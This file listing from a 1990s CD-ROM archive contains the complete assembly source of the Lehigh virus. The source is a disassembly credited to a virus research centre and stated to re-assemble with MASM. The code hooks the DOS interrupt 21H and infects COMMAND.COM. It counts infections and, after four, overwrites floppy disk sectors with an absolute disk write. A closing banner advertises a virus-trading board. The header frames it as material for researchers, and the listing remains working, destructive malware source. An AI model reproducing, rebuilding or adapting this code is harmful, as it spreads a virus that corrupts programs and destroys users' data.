home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LEHIGH.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  10KB  |  316 lines

  1.     page    65,132
  2.     title    The 'Lehigh' Virus
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                            The 'Lehigh' Virus                            ║
  9. ; ║                Disassembled by Joe Hirst,   July     1989                ║
  10. ; ║                                                                         ║
  11. ; ║                       Copyright (c) Joe Hirst 1989.                      ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  18.  
  19. CODE    SEGMENT BYTE PUBLIC 'CODE'
  20.     ASSUME CS:CODE,DS:CODE
  21.  
  22.     ; Interrupt 21H routine
  23.  
  24. BP0010:    PUSH    AX
  25.     PUSH    BX
  26.     CMP    AH,4BH            ; Load function?
  27.     JE    BP0020            ; Branch if yes
  28.     CMP    AH,4EH            ; Find file file?
  29.     JE    BP0020            ; Branch if yes
  30.     JMP    BP0170            ; Pass interrupt on
  31.  
  32.     ; Load or find file function
  33.  
  34. BP0020:    MOV    BX,DX            ; Get pathname pointer
  35.     CMP    BYTE PTR [BX+1],':'    ; Is a disk specified?
  36.     JNE    BP0030            ; Branch if not
  37.     MOV    AL,[BX]            ; Get disk letter
  38.     JMP    BP0040
  39.  
  40.     ; Is there a COMMAND.COM on disk?
  41.  
  42. BP0030:    MOV    AH,19H            ; Get current disk function
  43.     INT    44H            ; DOS service (diverted INT 21H)
  44.     ADD    AL,'a'            ; Convert to letter
  45. BP0040:    PUSH    DS
  46.     PUSH    CX
  47.     PUSH    DX
  48.     PUSH    DI
  49.     PUSH    CS            ; \ Set DS to CS
  50.     POP    DS            ; /
  51.     MOV    BX,OFFSET PATHNM    ; Address pathname
  52.     MOV    [BX],AL            ; Store disk letter in pathname
  53.     MOV    DX,BX            ; Move pathname address
  54.     MOV    AX,3D02H        ; Open handle (R/W) function
  55.     INT    44H            ; DOS service (diverted INT 21H)
  56.     JNB    BP0050            ; Branch if no error
  57.     JMP    BP0160            ; Restore registers and terminate
  58.  
  59.     ; Is COMMAND.COM infected?
  60.  
  61. BP0050:    MOV    BX,AX            ; Move file handle
  62.     MOV    AX,4202H        ; Move file pointer function (EOF)
  63.     XOR    CX,CX            ; \ No offset
  64.     MOV    DX,CX            ; /
  65.     INT    44H            ; DOS service (diverted INT 21H)
  66.     MOV    DX,AX            ; Copy file length
  67.     MOV    FILELN,AX        ; Save file length
  68.     SUB    DX,2            ; Address last word of file
  69.     MOV    AX,4200H        ; Move file pointer function (start)
  70.     INT    44H            ; DOS service (diverted INT 21H)
  71.     MOV    DX,OFFSET BUFFER    ; Address read buffer
  72.     MOV    CX,2            ; Length to read
  73.     MOV    AH,3FH            ; Read handle function
  74.     INT    44H            ; DOS service (diverted INT 21H)
  75.     CMP    WORD PTR BUFFER,65A9H    ; Is file infected?
  76.     JNE    BP0060            ; Branch if not
  77.     JMP    BP0080
  78.  
  79.     ; Infect COMMAND.COM
  80.  
  81. BP0060:    XOR    DX,DX            ; \ No offset
  82.     MOV    CX,DX            ; /
  83.     MOV    AX,4200H        ; Move file pointer function (start)
  84.     INT    44H            ; DOS service (diverted INT 21H)
  85.     MOV    CX,3            ; Length to read
  86.     MOV    DX,OFFSET BUFFER    ; Address read buffer
  87.     MOV    DI,DX            ; Copy address
  88.     MOV    AH,3FH            ; Read handle function
  89.     INT    44H            ; DOS service (diverted INT 21H)
  90.     MOV    AX,[DI+1]        ; Get displacement from initial jump
  91.     ADD    AX,0103H        ; Convert to address for COM file
  92.     MOV    ENTPTR,AX        ; Save file entry address
  93.     MOV    DX,FILELN        ; Get file length
  94.     SUB    DX,OFFSET ENDADR    ; Subtract length of virus
  95.     DEC    DX            ; ...and one more
  96.     MOV    [DI],DX            ; Put offset into jump instruction
  97.     XOR    CX,CX            ; Clear high offset for move
  98.     MOV    AX,4200H        ; Move file pointer function (start)
  99.     INT    44H            ; DOS service (diverted INT 21H)
  100.     MOV    AL,INFCNT        ; Get infection count
  101.     PUSH    AX            ; Preserve infection count
  102.     MOV    BYTE PTR INFCNT,0    ; Set infection count to zero
  103.     MOV    CX,OFFSET ENDADR    ; \ Get length of virus
  104.     INC    CX            ; /
  105.     XOR    DX,DX            ; Address start of virus
  106.     MOV    AH,40H            ; Write handle function
  107.     INT    44H            ; DOS service (diverted INT 21H)
  108.     POP    AX            ; Recover infection count
  109.     MOV    INFCNT,AL        ; Restore original infection count
  110.     XOR    CX,CX            ; \ Address second byte of program
  111.     MOV    DX,1            ; /
  112.     MOV    AX,4200H        ; Move file pointer function (start)
  113.     INT    44H            ; DOS service (diverted INT 21H)
  114.     MOV    AX,[DI]            ; Get virus offset
  115.     ADD    AX,OFFSET BP0180    ; Add entry point
  116.     SUB    AX,3            ; Subtract length of jump instruction
  117.     MOV    [DI],AX            ; Replace offset
  118.     MOV    DX,DI            ; Address stored offset
  119.     MOV    CX,2            ; Length to write
  120.     MOV    AH,40H            ; Write handle function
  121.     INT    44H            ; DOS service (diverted INT 21H)
  122.     INC    BYTE PTR INFCNT        ; Increment infection count
  123.     CMP    BYTE PTR INFCNT,4    ; Have we reached target?
  124.     JB    BP0070            ; Branch if not
  125.     JMP    BP0110            ; Trash disk
  126.  
  127.     ; Is disk A or B?
  128.  
  129. BP0070:    MOV    BYTE PTR N_AORB,0    ; Set off "not A or B" switch
  130.     CMP    BYTE PTR CURDSK,2    ; Is current disk A or B?
  131.     JB    BP0080            ; Branch if yes
  132.     MOV    BYTE PTR N_AORB,1    ; Set on "not A or B" switch
  133. BP0080:    MOV    AH,3EH            ; Close handle function
  134.     INT    44H            ; DOS service (diverted INT 21H)
  135.     CMP    BYTE PTR N_AORB,1    ; Is "not A or B" switch on?
  136.     JE    BP0090            ; Branch if yes
  137.     JMP    BP0160            ; Restore registers and terminate
  138.  
  139.     ; Disk not A or B
  140.  
  141. BP0090:    MOV    BYTE PTR N_AORB,0    ; Set off "not A or B" switch
  142.     MOV    BX,OFFSET PATHNM    ; Address pathname
  143.     MOV    AL,CURDSK        ; Get current disk
  144.     ADD    AL,'a'            ; Convert to letter
  145.     MOV    [BX],AL            ; Store letter in pathname
  146.     MOV    DX,BX            ; Move pathname address
  147.     MOV    AX,3D02H        ; Open handle (R/W) function
  148.     INT    44H            ; DOS service (diverted INT 21H)
  149.     JNB    BP0100            ; Branch if no error
  150.     JMP    BP0160            ; Restore registers and terminate
  151.  
  152.     ; Set infection count same as in current program
  153.  
  154. BP0100:    MOV    BX,AX
  155.     MOV    AX,4202H        ; Move file pointer function (EOF)
  156.     XOR    CX,CX            ; \ No offset
  157.     MOV    DX,CX            ; /
  158.     INT    44H            ; DOS service (diverted INT 21H)
  159.     MOV    DX,AX            ; \ Address back to infection count
  160.     SUB    DX,7            ; /
  161.     MOV    AX,4200H        ; Move file pointer function (start)
  162.     INT    44H            ; DOS service (diverted INT 21H)
  163.     MOV    CX,1            ; Length to write
  164.     MOV    DX,OFFSET INFCNT    ; Address infection count
  165.     MOV    AH,40H            ; Write handle function
  166.     INT    44H            ; DOS service (diverted INT 21H)
  167.     MOV    AH,3EH            ; Close handle function
  168.     INT    44H            ; DOS service (diverted INT 21H)
  169.     JMP    BP0160            ; Restore registers and terminate
  170.  
  171.     ; Trash disk
  172.  
  173. BP0110:    MOV    AL,CURDSK        ; Get current disk
  174.     CMP    AL,2            ; Is disk A or B?
  175.     JNB    BP0150            ; Branch if not
  176.     MOV    AH,19H            ; Get current disk function
  177.     INT    44H            ; DOS service (diverted INT 21H)
  178.     MOV    BX,OFFSET PATHNM    ; Address pathname
  179.     MOV    DL,[BX]            ; Get drive letter from pathname
  180.     CMP    DL,'A'            ; Is drive letter 'A'?
  181.     JE    BP0120            ; Branch if yes
  182.     CMP    DL,'a'            ; Is drive letter 'a'?
  183.     JE    BP0120            ; Branch if yes
  184.     CMP    DL,'b'            ; Is drive letter 'b'?
  185.     JE    BP0130            ; Branch if yes
  186.     CMP    DL,'B'            ; Is drive letter 'B'?
  187.     JE    BP0130            ; Branch if yes
  188.     JMP    BP0160            ; Restore registers and terminate
  189.  
  190.     ; Drive A
  191.  
  192. BP0120:    MOV    DL,0            ; Set drive A
  193.     JMP    BP0140
  194.  
  195.     ; Drive B
  196.  
  197. BP0130:    MOV    DL,1            ; Set drive B
  198. BP0140:    CMP    AL,DL            ; Is this the same as current?
  199.     JNE    BP0150            ; Branch if not
  200.     JMP    BP0160            ; Restore registers and terminate
  201.  
  202.     ; Write lump of BIOS to floppy disk
  203.  
  204. BP0150:    MOV    SI,0FE00H        ; \ Address BIOS (?)
  205.     MOV    DS,SI            ; /
  206.     MOV    CX,0020H        ; Write 32 sectors
  207.     MOV    DX,1            ; Start at sector one
  208.     INT    26H            ; Absolute disk write
  209.     POPF
  210.     MOV    AH,9            ; Display string function
  211.     MOV    DX,1840H
  212.     INT    44H            ; DOS service (diverted INT 21H)
  213. BP0160:    POP    DI
  214.     POP    DX
  215.     POP    CX
  216.     POP    DS
  217. BP0170:    POP    BX
  218.     POP    AX
  219.     JMP    CS:INT_21        ; Branch to original Int 21H
  220.  
  221.     ; Original Int 21H vector
  222.  
  223. INT_21    EQU    THIS DWORD
  224.     DW    138DH            ; Int 21H offset
  225.     DW    0295H            ; Int 21H segment
  226.  
  227.     ; Entry point for infected program
  228.  
  229. BP0180:    CALL    BP0190            ; \ Get current address
  230. BP0190:    POP    SI            ; /
  231.     SUB    SI,3            ; Address back to BP0180
  232.     MOV    BX,SI            ; \ Address of virus start
  233.     SUB    BX,OFFSET BP0180    ; /
  234.     PUSH    BX            ; Save address of virus start
  235.     ADD    BX,OFFSET FILELN    ; Address file length
  236.     MOV    AH,19H            ; Get current disk function
  237.     INT    21H            ; DOS service
  238.     MOV    [BX-1],AL        ; Save current disk
  239.     MOV    AX,[BX]            ; Get file length
  240.     ADD    AX,0100H        ; Add PSP length
  241.     MOV    CL,4            ; \ Convert to paragraphs
  242.     SHR    AX,CL            ; /
  243.     INC    AX            ; Allow for remainder
  244.     MOV    BX,AX            ; Copy paragraphs to keep
  245.     MOV    AH,4AH            ; Set block function
  246.     INT    21H            ; DOS service
  247.     JNB    BP0200            ; Branch if no error
  248.     JMP    BP0220            ; Pass control to host
  249.  
  250.     ; Allocate memory for virus
  251.  
  252. BP0200:    MOV    CL,4            ; Bits to move
  253.     MOV    DX,OFFSET ENDADR    ; Length of virus
  254.     SHR    DX,CL            ; Convert to paragraphs
  255.     INC    DX            ; Allow for remainder
  256.     MOV    BX,DX            ; Copy paragraphs for virus
  257.     MOV    AH,48H            ; Allocate memory function
  258.     INT    21H            ; DOS service
  259.     JNB    BP0210            ; Branch if no error
  260.     JMP    BP0220            ; Pass control to host
  261.  
  262.     ; Install virus in memory
  263.  
  264. BP0210:    PUSH    ES
  265.     PUSH    AX            ; Preserve allocated memory segment
  266.     MOV    AX,3521H        ; Get Int 21H function
  267.     INT    21H            ; DOS service
  268.     MOV    [SI-4],BX        ; Save Int 21H offset
  269.     MOV    [SI-2],ES        ; Save Int 21H segment
  270.     POP    ES            ; Recover allocated memory segment
  271.     PUSH    SI
  272.     SUB    SI,OFFSET BP0180    ; Address back to start of virus
  273.     XOR    DI,DI            ; Target start of new area
  274.     MOV    CX,OFFSET ENDADR    ; \ Length of virus
  275.     INC    CX            ; /
  276.     REPZ    MOVSB            ; Copy virus to new area
  277.     POP    SI
  278.     PUSH    DS
  279.     MOV    DX,[SI-4]        ; Get Int 21H offset
  280.     MOV    AX,[SI-2]        ; \ Set DS to Int 21H segment
  281.     MOV    DS,AX            ; /
  282.     MOV    AX,2544H        ; Set Int 44H function
  283.     INT    21H            ; DOS service
  284.     PUSH    ES            ; \ Set DS to ES
  285.     POP    DS            ; /
  286.     XOR    DX,DX            ; Interrupt 21H routine (BP0010)
  287.     MOV    AX,2521H        ; Set Int 21H function
  288.     INT    44H            ; DOS service (diverted INT 21H)
  289.     POP    DS
  290.     POP    ES
  291. BP0220:    POP    BX
  292.     PUSH    ENTPTR[BX]        ; Push COM file entry address
  293.     RET                ; ...and return to it
  294.  
  295. PATHNM    DB    'b:\command.com', 0    ; Pathname
  296. BUFFER    DB    7FH, 58H, 0BH, 0, 0    ; Read buffer
  297. ENTPTR    DW    0CB0H            ; File entry address
  298. N_AORB    DB    0            ; "Not A or B" switch
  299. INFCNT    DB    0            ; Infection count
  300.     DB    0
  301. CURDSK    DB    0            ; Current disk
  302. FILELN    DW    5AAAH            ; File length
  303.     DW    65A9H            ; Infection indicator
  304.  
  305. ENDADR    EQU    $-1
  306.  
  307. CODE    ENDS
  308.  
  309.     END
  310. 
  311. ; ─────────────────────────────────────────────────────────────────────────
  312. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  313. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  314. ; ─────────────────────────────────────────────────────────────────────────
  315.  
  316.